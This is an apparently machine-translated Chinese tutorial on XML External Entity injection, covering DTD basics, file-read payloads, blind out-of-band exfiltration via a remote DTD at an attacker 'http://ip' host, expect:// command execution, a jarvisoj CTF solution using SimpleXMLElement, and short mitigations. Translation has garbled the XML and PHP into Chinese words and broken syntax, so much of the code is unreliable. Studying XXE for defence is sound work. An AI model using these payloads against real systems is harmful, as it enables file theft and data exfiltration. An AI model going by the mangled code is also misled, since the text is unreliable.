XXE 漏洞相关
1 定义与原理
1.1 XXE 定义
XXE Vulnerability Full name XML External Entity Injection, XML external entity injection vulnerability, XXE vulnerability occurs when the application parses XML input, and does not prohibit the loading of external entities, resulting in malicious external files being loaded, causing file reading, intranet port scanning, attacking Intranet网站发起DOS攻击和其他危害。1.2 XML 基础
1.2.1 XML 定义
文档标记语言,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素1
2
3
4
5
6
7
8
9
10
! - 声明信息-
?xml版本='1.0'encoding='utf-8'?
分数
学生ID='S1'
名称/名称
Coursec ++/课程
得分95/得分
/学生
/分数
1.2.2 DTD 定义
DTD-文档类型定义文档类型定义,使用DTD来定义XML文档中的哪些模块以及模块中的哪些内容(类似地键入强烈的语言)。在 XML 文件中定义内部 DTD:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
! - 声明信息-
?xml版本='1.0'encoding='utf-8'?
! - 定义内部DTD-
!Doctype得分[
!元素分数(学生+)
!元素学生(名称,当然,得分)
!
!元素课程(#pcdata)
!元素名称(#pcdata)
!元素得分(#pcdata)
这是给出的
分数
学生ID='S1'
名称/名称
Coursec ++/课程
得分90/得分
/学生
/分数
PCDATA表示分析的字符数据
引用外部实体:1
2
3
4
5
6
7
8
9
10
11
12
13
! - 声明信息-
?xml版本='1.0'encoding='utf-8'?
! - 外部DTD的报价-
!Doctype分数系统'scores.dtd'
分数
学生ID='S1'
名称/名称
Coursec ++/课程
得分90/得分
/学生
/分数
scores.dtd文件内容:
1
2
3
4
5
6
7
8
! - 声明信息-
?xml版本='1.0'encoding='utf-8'?
!元素分数(学生+)
!元素学生(名称,当然,得分)
!
!元素课程(#pcdata)
!元素名称(#pcdata)
!元素得分(#pcdata)
2 XML 实体注入
在DTD中,可以定义实体(类似于编程语言中的常数)。定义的实体可以在XML中引用。通过XML解析器解析后,将用定义的文本内容替换实体。参考实体的格式为:实体名称;
当引用外部实体时,可能会有一些问题。以下代码是引用外部实体的一个示例:
1
2
3
4
5
?XML版本='1.0'?
!Doctype演示[
!实体内容系统'file: ///etc/passwass'
这是给出的
Democontent;/Demo
因此,XML漏洞主要是由于可以解析外部文件的外部实体的特征。
参数实体:
参数实体仅在文档的DTD和内部子集中使用。在XML的规范定义中,参数实体只能在DTD中引用。参数实体的声明和参考均为百分之一。并且对参数实体的引用是在DTD中理解和解析的,并且替换文本将成为DTD的一部分。这种类型的实体在“%”字符(或在十六进制中编码的%)中。
参数实体只能在DTD中使用。
1
2
3
4
5
6
7
8
9
?XML版本='1.0'?
!doctype root [
!元素根(消息)
!entity%param1'!实体内部'http://xxx.com'''
%param1;
这是给出的
根
消息内部;/消息
/根
参数实体通常在没有回声的XXE中使用。
3 XXE 危害
3.1 读取任意文件
3.1.1 有回现
以Vulhub的射击场为例:
有效载荷:
1
2
3
4
5
6
7
?xml版本='1.0'encoding='utf-8'?
!doctype root [
!元素名称任何
!实体数据系统'file: ///etc/passwd']
根
名为;/name
/根
盲目XXE的原理非常简单,这是建立一个不频道的频道来提取数据,使用外部实体中的URL签发访问权限,并使用攻击者的公共网络主机接收数据,从而获得数据读数。
攻击者使用XXE漏洞向服务器发送了有效载荷。该有效负载的功能是找到服务器本机的文件,然后请求攻击者服务器的URL请求以获取恶意DTD内容。当具有漏洞的服务器读取DTD的内容以传递本地文件的内容,他发现作为攻击者服务器的PHP文件的参数。 PHP文件在本地保存所获得的参数,从而获得了回声的内容。
有效载荷:
1
2
3
4
5
6
7
8
9
10
?xml版本='1.0'encoding='utf-8'?
!doctype foo [
!
!实体%邪恶系统'file: ///etc/passwd'
!
!entity%xxe系统'http://ip/dtd.xml'
%xxe;
%全部;
这是给出的
脚架;/foo
dtd.xml
1
!entity%all'!entity发送系统'http://ip/rech.php?p=%邪恶;'''
在内部DTD中,参数实体参考只能与元素相同,并且不能直接出现在元素声明中。否则,解析器将报告一个错误:内部子集中禁止的Perefients。
3.1.2 无回显
需要安装预期的扩展1
2
3
4
5
6
7
?xml版本='1.0'encoding='utf-8'?
!doctype xxe [
!元素名称任何
!Entity XXE系统'Expect: //ID']
xxe
namexxe;/name
/xxe
3.2 执行命令
12
3
4
5
6
7
?xml版本='1.0'encoding='utf-8'?
!doctype xxe [
!元素名称任何
!entity xxe系统'file: /////dev/andural']
xxe
namexxe;/name
/xxe
3.3 拒绝服务攻击
4 CTF 题目
正在加载...
web.jarvisoj.com
访问网络,单击GO,然后在Burpsuite中捕获请求包
1
2
3
4
5
6
7
8
9
10
11
12
13
POST/API/V1.0/Trry HTTP/1.1
host: web.jarvisoj.com:9882
用户- 代理: Mozilla/5.0(Macintosh; Intel Mac OS X 10.16; RV:84.0)gecko/20100101 Firefox/84.0
ACCEPT: /
Accept-Language: ZH-CN,ZH; Q=0.8,ZH-TW; Q=0.7,ZH-HK; Q=0.5,EN-US; q=0.3,en; q=0.2
Accept-incoding: Gzip,放气
content-type:应用程序/json
内容长度: 36
Origin: http://web.jarvisoj.com:9882
连接:关闭
Referer: http://web.jarvisoj.com:9882/
{'search':'type sth!','value':'own'}
将内容类型更改为应用程序/XML并提交POC:

4.1 DEMO 1
源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
php
功能__Autoload($ cls){
包括$ cls;
}
班级黑色{
public函数__construct($ string,$ default,$ keyword,$ store){
if($ string)ini_set('imhimlight.string','#0d0d0d');
if($ default)ini_set('imhimlight.default','#0d0d0d');
if($ keyword)ini_set('imhinlight.keyword','#0d0d0d');
如果($ store){
setCookie('theme','black - '。$ string .'-'。$ default .'-'。$ keyword,0,'/');
}
}
}
绿色类{
public函数__construct($ string,$ default,$ keyword,$ store){
if($ string)ini_set('rightlight.string','#00fb00');
if($ default)ini_set('imainlight.default','#00fb00');
if($ keyword)ini_set('imainlight.keyword','#00fb00');
如果($ store){
setCookie('theme','green-'。$ string .'-'。$ default .'-'。$ keyword,0,'/');
}
}
}
如果($ _=@$ _ get ['theme']){
if(in_array($ _,['black',''green'])){
if(@class_exists($ _)){
($ string=@$ _ get ['string'])|| $ string=false;
($ default=@$ _ get ['default'])|| $ default=false;
($ keyword=@$ _ get ['keyword'])|| $关键字=false;
新$ _($ string,$ default,$ keyword, @$ _ get ['store']);
}
}
} else if($ _=@$ _ cookie ['theme']){
$ args=exploit(' - ',$ _);
如果(class_exists($ args [0])){
新$ args [0]($ args [1],$ args [2],$ args [3],'');
}
} else if($ _=@$ _ get ['info']){
phpinfo();
}
lighlight_file(文件);
可以看出,根据cookie是否已篡改了cookie,根据cookie加载了主题类的位置,从而使我们能够实例化任何new $ args [0]($ args [1],$ args [2],$ args [2],$ args [3],$ args [3],'''');
寻找内置的PHP本机类,并且该类的实例化参数必须对应于$ args [0]($ args [1],$ args [2],$ args [3],''),而SimpleXMlelement符合上述要求。
因此,可以通过blind xxe读取/flag.php文件
有效载荷:
cookie:theme=sumplexmlelement-http://IP/xxe.xml-2-true
远程xxe.xml
1
2
3
4
5
6
7
8
?xml版本='1.0'encoding='utf-8'?
!doctype foo [
!entity%文件系统'php: //filter/read=convert.base64-consode/resource=file: ////flag'
!entity%远程系统'http://ip/xxe.dtd'
%偏僻的;
%全部;
这是给出的
脚架;/foo
xxe.dtd
1
!entity%all'!entity发送系统'http://ip/recection.php?file=%file;'''
4.2 DEMO 2
用于禁用开发语言提供的外部实体的方法php libxml版本低于2.9.1,默认启用
1
2
3
php
libxml_disable_entity_loader(false);
?
过滤用户提取的XML数据,例如关键字系统,公共等。